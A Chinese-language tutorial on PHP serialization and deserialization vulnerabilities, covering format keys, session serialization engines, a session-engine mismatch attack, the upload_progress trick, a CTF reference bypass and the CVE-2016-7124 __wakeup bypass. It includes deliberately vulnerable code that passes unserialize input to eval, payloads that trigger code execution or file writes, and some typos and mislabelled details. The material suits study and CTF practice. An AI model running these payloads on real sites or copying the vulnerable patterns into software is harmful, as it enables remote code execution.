什么是序列化以及反序列化
序列化是将PHP中的值(zval)转换成一段包含字节流的字符串。序列化一个对象会保存为对象中的所有变量的值,但不会保存对象的方法,以及只会保存类的名字。其本质就是将程序以相应的格式保存下来
反序列化:对单一的一序列化的变量进行操作,将其转换回PHP的值。
PHP序列化方式
php在序列化的时候会将相应的变量以对应的键值进行存储。
- 实例化对象中自身的二次赋值
对象的序列化 O:类名长度:”类名”:值:{}
<?php
//1.要创建一个类的实例,必须要使用new关键字 2.用array()语言创建一个数组,它接受任意数量用逗号分割的 键(key) => 值(value)对
$o = new stdClass;
$o->foo = $o;
$s = serialize($o);
print $s;
//结果: O:8:”stdClass”:1:{s:3:”foo”;r:1;}
//对象的序列化 O:类名长度:”类名”:值:{}
?>数组中的引用(&)的序列化
数组的序列化 array通常被序列化为: a:
:{ … } 表示数组元素的个数, 、 …… 表示数组下标, 、 …… 表示与下标相对应的数组元素的值。 <?php
$a = [“foo”];//数组里的字符串会被当做一个整体对待;$a[1] =& $a[0];// 数组中的引用(&)的序列化
echo $a[1];
echo “——-“;
$s = serialize($a);
echo $s;
//结果: a:2:{i:0;s:3:"foo";i:1;R:2;}
//这里的R:2;部分意味着“指向第二个值”什么是第二个值?整个数组代表第一个值,(s:3:"foo")代表第二个值
//
?>
序列化键名对照表
数组中二次赋值(&) : R;
对象的二次赋值: r;
NULL: N;
ture: b:1;
false: b:0;
Long: i;
Double: d;
String: s/S;
Class: C;
Array: a;
Object: O;
变量的不同属性也有着不同的格式:
public: key;
protected: \0*\0key;
private: \0key\0;
实例观察public/protected/private的区别
<?php
class Test {
public $public = 1;
protected $protected = 2;
private $private = 3;
}
$a = new Test();
$s = serialize($a);
//echo "$s";
var_dump($s);//var_dump()会返回变量的数据类型和值
//结果: string(81) "O:4:"Test":3:{s:6:"public";i:1;s:12:"\000*\000protected";i:2;s:13:"\000Test\000private";i:3;}"
?>
###String对应的两个键:s与S
serialize()和unserialize()处理有着一些差异。PHP源码serialize()中没有相关序列化是以S为标识的,但是在unserialize中又有对S键的相关处理,相关部分源码
<? php
case 'S': goto yy10;
...
yy10:
yych = *(YYMARKER = ++YYCURSOR);
if (yych == ':') goto yy39;
goto yy3;
...
yy39:
yych = *++YYCURSOR;
if (yych == '+') goto yy40;
if (yych <= '/') goto yy18;
if (yych <= '9') goto yy41;
goto yy18;
case 's': goto yy9;
...
yy9:
yych = *(YYMARKER = ++YYCURSOR);
if (yych == ':') goto yy46;
goto yy3;
...
yy46:
yych = *++YYCURSOR;
if (yych == '+') goto yy47;
if (yych <= '/') goto yy18;
if (yych <= '9') goto yy48;
goto yy18;
...
...
?>
如果细心地话,会发现s和S就会发现两个键的处理方式是一模一样的
PHP中SESSION反序列化机制
1 简介
在php.ini中存在的三项配置项
1.session.save_path="" --设置session的存储路径
2.session.save_handler="" --设置用户自定义存储函数,若想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
3.session.auto_start boolen --指定会话模块是否在请求开始时自动启动一个会话。默认为0
4.session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认为php
以上具体选项就是PHP中的session存储和序列话存储相关的选项
在使用xampp组件安装中,上述的配置项的设置如下:
1.session.save_path="D:\phpstudy\tmp\tmp" 表明所有的session文件都是存储在xampp/tmp下
2.session.save_handler="file" 表名session是以文件的方式进行存储的
3.session.auto_start=0 表明默认不启动session
4.session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
在上述配置中,session.serialize_handler是用来设置session的序列话引擎,出除了默认的php引擎外还有其它的引擎,不同的引擎对应的session的存储方式不同
A:php_binary:存储方式,键名的长度对应的ASCII字符+键名+经过serialize函数序列化处理的值
B:php存储的方式 : 键名+竖线+经过serialize函数序列化处理的值
C:php_serialize(php>5.5.4)存储方式,经过serialize函数处理的值
在php中默认使用的PHP引擎,如果修改为其他的引擎,只需要添加代码ini_set(“session.serialize_handler”,”需要设置的引擎”.示例代码如下:
<?php
ini_set("session.serialize_handler","php_serialize");
session_start;
//do something
?>
2 存储机制
php中的session中的内容并不是放在内存中,而是以文件的方式来存储,存储的方式也是由配置项session.save_handler来确定,默认是以文件的形式存储。 文件的内容就是session值得序列化之后的内容。
若我们的环境是xampp,在默认的配置下:
<?php
session_start();
$_SESSION["name"]="spoock";
var_dump();
?>
最后的session的存储和显示如下:
可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:6:”spoock”;。name是键值,s:6:”spoock”;是serialize(“spoock”)的结果。
在php_serialize引擎中
<?php
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION["name"] = "spoock";
var_dump();
?>
session文件中的内容 a:1:{s:4:”name”;s:6:”spoock”},a:1是使用php_serialize都会加上。同时使用php_serialize会将session中的key和value都会序列化。
在php_binary引擎中:
<?php
ini_set("session.serialize_handler","php_binary")
session_start();
$_SESSION["name"] = "spoock"
var_dump();
?>
session文件中的内容是EOTname:6:”spoock”;由于name的长度为4,4在ASCII表中对应的值就是EOT。根据php_binary的存储规则,最后就是EOTname:6:”spoock”;ASCII的值为4的字符无法在网页上面显示。
3 序列化的简单运用
补习php中$this->
$this的含义表示 实例后的具体对象
我们一般先声明一个类,然后用这个类去实例化对象!
<?php
class User{
public $name;
function __getname(){//简言之定义一个类的方法
echo $this->name;
}
}
$user1 = new User();
$user1->name = '张三';
$user1->getName(); //这里就会输出张三!
$user2 = new User();
$user2->name = '李四';
$user2->getName(); //这里会输出李四!
?>
运用实例 22.php
<?php
class syclover{
var $func = "";//var 定义类的属性为公共,var和public一个意思
function __construct(){
$this->func = "phpinfo()";//$this 实例化后的具体的对象
}
function __wakeup(){
eval($this->func);//eval()函数把字符串当做PHP代码执行
}
}
unserialize($_GET["a"]);
?>
在第11行对传入的参数进行了序列化,我们可以传入一个特定的字符串,反序列化为syclover的一个实例,那么就可以执行eval()的方法。我们访问
http://localhost/22.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo “spoock”;”;},反序列化得到的内容是:
objict(syclover)[0]
public "func" =>string 'echo "spoock";';
最后页面输出的就是spoock,说明最后执行啦我们定义的echo “spoock”方法,这就是一个序列化漏洞的具体过程。
4 php session触发过程的实际应用
存在test01.php和test02.php两个文件所使用的session引擎不一样,即机制不同,我们可以在某一页面将数据序列化存放,在另一个页面进行反序列化访问,从而实现类。具体看一下代码
test01.php使用php_serialize来处理session
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>
test02.php使用php来处理session
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}
?>
当访问的时候提交如下的数据:
此时传入的数据会按照php_serialize来进行序列化,此时访问http://localhost/test02.php,页面输出spoock成功执行了我们构造的数据,就会实例化lemon对象,最后会执行析构函数中的eval()方法。
技巧
1.在实际进行渗透测试或者CTF中遇到session反序列化时,若发现session.upload_progress.enabled开着即等于1时,php会记录上传文件的进度,再上传时将信息保存在$_SESSION中。若文章测试使用如$_SESSION[“ryat”] = $_GET[“ryat”],然而很多时候没有这个条件,
session.upload-progress.php,php为我们提供了一个上传进度的数据(当一个上传在处理中,同时POST一个与INI中设置的session.upload_process.name同名变量时,上传进度可以在$_SESSION中获得)即$n = ini_get(“session.upload_progress.nmae);会把它存储在$_SESSION[“$n”]当中,这样我们就可以构造一个文件上传页,就可以成功写入session。
一个上传进度数组的结构的例子
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ryat" />
<input type="file" name="file" />
<input type="submit" />
</form>
2.在PHP中普通的传值赋值行为有一个例外就是碰到object时,在PHP中使用引用赋值的,除非明确使用了clone关键字来拷贝,PHP支持引用来赋值,使用”$var = &$othervar;”语法。引用赋值意味着两个变量指向了一个变量,没有拷贝任何的东西。
举个简单地例子:
a = 1;
b = &a;
a = a+1;
由于引用参数,a和b引用的是同一个数据,因此a+1后,b也会变成2.
CTF利用:
<?php
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){//取得PHP环境变数magic_quotes_gpc的值,当magic_quotes_gpc打开时,所有的单引号,双引号,反斜线and空字符会自动转换为含有反斜线的溢出字符;
$pass=stripslashes($pass);//stripslashes()函数删除由addslashes()函数添加的反斜杠
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
}
?>
我们构造访问http://localhost/serializeTest.php?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
顺利输出Congratulation! Here is my secret: *
5 CVE-2016-7124反序列化漏洞
漏洞概述:
SugarCRM(http://www.sugarcrm.com/ )是一套开源的客户关系管理系统。在其<=6.5.23的版本中存在序列化漏洞,程序对攻击者恶意构造的序列化数据进行了反序列化的处理,从而使攻击者可以在未授权的情况下中兴任意的代码。
对于此漏洞简单来说就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
知识储备:
- unserialize()函数会检查勒种是否存在一个魔术方法wakeup方法,若存在会先调用wakeup方法,预先准备对象需要的资源
- __wakeup()方法经常用在反序列化的操作中,例如重新建立数据库的连接,或建立其它初始化操作
- get_object__var()函数返回由对象属性创建的关联数组。
具体测试代码:
<?php
class A{
var $a = "test";
function __destruct(){
$fp = fopen("D:\\phpStudy\\WWW\\hello.php","w");
fputs($fp,$this->a);
fclose($fp);
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up...\n";
}
}
$test = $_POST['test'];
$test_unser = unserialize($test);
?>
使用payload进行测试,结果如下:
发现__wakeup函数成功执行,消除了对象属性,从而hello.php内容也没空。
漏洞证明:
我们将上面的test=O:1:”A”:1:{s:1:”a”;s:18:”<?php phpinfo();?>”;}中的A的个数变成2或者大于2的数字如下:
test=O:1:”A”:2:{s:1:”a”;s:18:”<?php phpinfo();?>”;}
然后在执行就会发现绕过了__wakeup函数,成功将phpinfo()写入到hello.php